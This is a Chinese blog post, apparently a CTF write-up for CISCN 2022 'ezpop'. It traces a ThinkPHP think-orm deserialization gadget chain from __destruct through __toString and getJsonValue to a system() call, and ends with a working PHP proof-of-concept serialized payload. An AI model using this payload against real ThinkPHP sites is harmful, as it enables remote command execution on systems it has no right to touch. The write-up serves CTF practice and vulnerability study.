ciscn2022ezpop

尝试直接下载源码,发现确实泄露了源码,直接加上www.zip就可以下载源码

image-20220808215614180

image-20220808215556010

看网上文章说因为一般漏洞的起点都是在wakeup方法或者destruct方法,所以全局搜索一下这两个方法

vscode左上角放大镜按钮就是全局搜索

image-20220808215951314

搜索之后发现漏洞起点应该是在vendor\topthink\think-orm\src\Model.php

image-20220808220427675

只要这个$this->lazySave为true,就能去调用下面的save()方法,然后跟进这个save()方法

image-20220808221047980

存在漏洞的方法是那个updateData,但是要绕过上面那个if语句,也就是下面这个语句

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
            return false;
        }

所以跟进一下这个isEmpty()方法

image-20220808221328795

根据返回值判断,只要这个data的值不为空就行

再看一下上面if语句的另外一个方法trigger(),介绍这个漏洞的文章里说$this->trigger方法默认返回就不是false(这里没怎么懂)

既然它这么说,就跟进那个存在漏洞的方法updateData,在这个updateData方法里存在漏洞的方法是checkAllowFields,而这个checkAllowFields在这个updateData里自动就会调用,因为上面那些if语句只要updateData这个方法被调用了,就不会再退出了

image-20220808221934435

protected function updateData(): bool
    {
        // 事件回调
        if (false === $this->trigger('BeforeUpdate')) {
            return false;
        }

        $this->checkData();

        // 获取有更新的数据
        $data = $this->getChangedData();

        if (empty($data)) {
            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }

            return true;
        }

        if ($this->autoWriteTimestamp && $this->updateTime) {
            // 自动写入更新时间
            $data[$this->updateTime]       = $this->autoWriteTimestamp();
            $this->data[$this->updateTime] = $data[$this->updateTime];
        }

        // 检查允许字段
        $allowFields = $this->checkAllowFields();

        foreach ($this->relationWrite as $name => $val) {
            if (!is_array($val)) {
                continue;
            }

            foreach ($val as $key) {
                if (isset($data[$key])) {
                    unset($data[$key]);
                }
            }
        }

        // 模型更新
        $db = $this->db();

        $db->transaction(function () use ($data, $allowFields, $db) {
            $this->key = null;
            $where     = $this->getWhere();

            $result = $db->where($where)
                ->strict(false)
                ->cache(true)
                ->setOption('key', $this->key)
                ->field($allowFields)
                ->update($data);

            $this->checkResult($result);

            // 关联更新
            if (!empty($this->relationWrite)) {
                $this->autoRelationUpdate();
            }
        });

        // 更新回调
        $this->trigger('AfterUpdate');

        return true;
    }

再跟进这个checkAllowFields方法,存在漏洞的方法是db()

image-20220808222429642

这里的话也是默认会触发,因为上面那个schema搜索了一下,并没用被赋值,所以是空的,所以直接执行下面的语句,就会执行这个db()方法了

然后跟进db()

image-20220808223344130

发现这里有字符串的拼接操作,就可能会触发toString魔术方法,到时候就把这里的$this->table设置为能够触发toString方法

接着全局搜索一下这个toString方法

最后定位到vendor\topthink\think-orm\src\model\concern\Conversion.php的toString方法(不知道为什么最后定位到这里,可能是经验吧)

image-20220808223911537

跟进toJson方法

image-20220808223953715

跟进toArray()方法

image-20220808224139746

image-20220808224229842

存在漏洞的方法是下面这张图的getAttr方法

再跟进getAttr方法,在这个文件中没有这个方法,全局搜索发现在vendor\topthink\think-orm\src\model\concern\Attribute.php

image-20220808225403010

漏洞方法是这个getValue,向上观察,发现这个value是由getData方法得到的

跟进这个getData方法,$this->data可控,$fieldName来自getRealFieldName方法。

image-20220808225927795

可控是因为上面设置了这个变量

image-20220808230009481

而这个fieldName来自getRealFieldName这个方法

跟进getRealFieldName这个方法

image-20220808230216241

返回的是这个传进来的参数,所以这个fieldName变量也是可控的

也就是上面传入getValue的$value参数可控。

image-20220808230501211

然后这里再跟进这个getValue方法

image-20220808231003178

在Thinkphp6.0.8触发的漏洞点在最下面的那个if语句处,但在Thinkphp6.0.12时已经对传入的$closure进行判断。此次漏洞方法在getJsonValue方法。但需要经过两个if判断,$this->withAttr和$this->json都可控,可顺利进入getJsonValue方法

再跟进这个getJsonValue方法

image-20220808231118670

触发漏洞的点在$closure($value[$key], $value)只要令$this->jsonAssoc为True就行。

$closure和$value都可控,$closure可控是因为fieldName可控

完整pop链(我们的顺序是从下往上)

image-20220808232937337

然后是POC编写

<?php
 
namespace think {
    abstract class Model
    {
        private $lazySave = false;
        private $data = [];
        private $exists = false;
        protected $table;
        private $withAttr = [];
        protected $json = [];
        protected $jsonAssoc = false;
        function __construct($obj = '')
        {
            $this->lazySave = True;
            $this->data = ['whoami' => ['ls /']];
            $this->exists = True;
            $this->table = $obj;
            $this->withAttr = ['whoami' => ['system']];
            $this->json = ['whoami', ['whoami']];
            $this->jsonAssoc = True;
        }
    }
}
 
namespace think\model {
 
    use think\Model;
 
    class Pivot extends Model
    {
    }
}
 
namespace {
    echo (urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

最后在这个路径下\app\controller\Index.php找到传参点

image-20220808232309680

image-20220808232546145

然后传参

image-20220808232603856

然后再修改命令,抓文件

image-20220808232704704

image-20220808232654327

详情看下面那篇文章

https://www.freebuf.com/vuls/321546.html

posted @ 2022-08-08 23:33  Jinx8823  阅读(167)  评论(0编辑  收藏  举报